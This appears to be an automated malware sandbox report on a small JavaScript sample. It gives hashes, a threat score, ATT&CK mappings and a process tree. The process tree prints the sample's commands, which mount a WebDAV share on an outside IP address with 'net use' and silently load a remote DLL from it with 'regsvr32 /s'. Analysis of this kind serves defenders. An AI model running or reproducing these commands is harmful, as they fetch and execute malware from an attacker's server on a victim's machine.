761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 07:09

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General

Target

28580163041917418022.js
Size

5KB
MD5

9ffc01f7c534e3e907049578fe7651e2
SHA1

9603aa76bea7ca7453b94fc341f2be9db58c4d30
SHA256

761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7
SHA512

836ad329eab9b0e1704e63343626c034bb7163e3f04059409225fa98d27de6db57df02a10f745c577f25c99f2ed88cbc111cba72fed8cb17f9ac3f26773d7056
SSDEEP

96:aw5VIa+RNPPpmaQa+RNPPpmnoZyNfoxIOfe0PO/nPOt5ZH0kS:54PPxSPPT8Jolfe0MPc5ZUkS

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2980	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 340	3012	wscript.exe	30
PID 3012 wrote to memory of 340	3012	wscript.exe	30
PID 3012 wrote to memory of 340	3012	wscript.exe	30
PID 340 wrote to memory of 3020	340	cmd.exe	32
PID 340 wrote to memory of 3020	340	cmd.exe	32
PID 340 wrote to memory of 3020	340	cmd.exe	32
PID 340 wrote to memory of 2980	340	cmd.exe	33
PID 340 wrote to memory of 2980	340	cmd.exe	33
PID 340 wrote to memory of 2980	340	cmd.exe	33
PID 340 wrote to memory of 2980	340	cmd.exe	33
PID 340 wrote to memory of 2980	340	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\28580163041917418022.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\28580163041917418022.js" "C:\Users\Admin\\mtlnfg.bat" && "C:\Users\Admin\\mtlnfg.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:340
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3020
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\648.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\mtlnfg.bat

Filesize
5KB

MD5
9ffc01f7c534e3e907049578fe7651e2

SHA1
9603aa76bea7ca7453b94fc341f2be9db58c4d30

SHA256
761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7

SHA512
836ad329eab9b0e1704e63343626c034bb7163e3f04059409225fa98d27de6db57df02a10f745c577f25c99f2ed88cbc111cba72fed8cb17f9ac3f26773d7056

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